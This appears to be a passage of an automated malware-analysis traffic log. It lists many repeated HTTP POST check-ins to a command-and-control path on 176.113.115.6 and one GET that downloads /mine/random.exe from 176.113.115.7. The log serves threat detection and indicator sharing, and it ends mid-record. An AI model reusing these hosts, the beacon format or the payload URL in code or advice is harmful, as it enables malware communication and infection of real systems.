Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveHost: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: 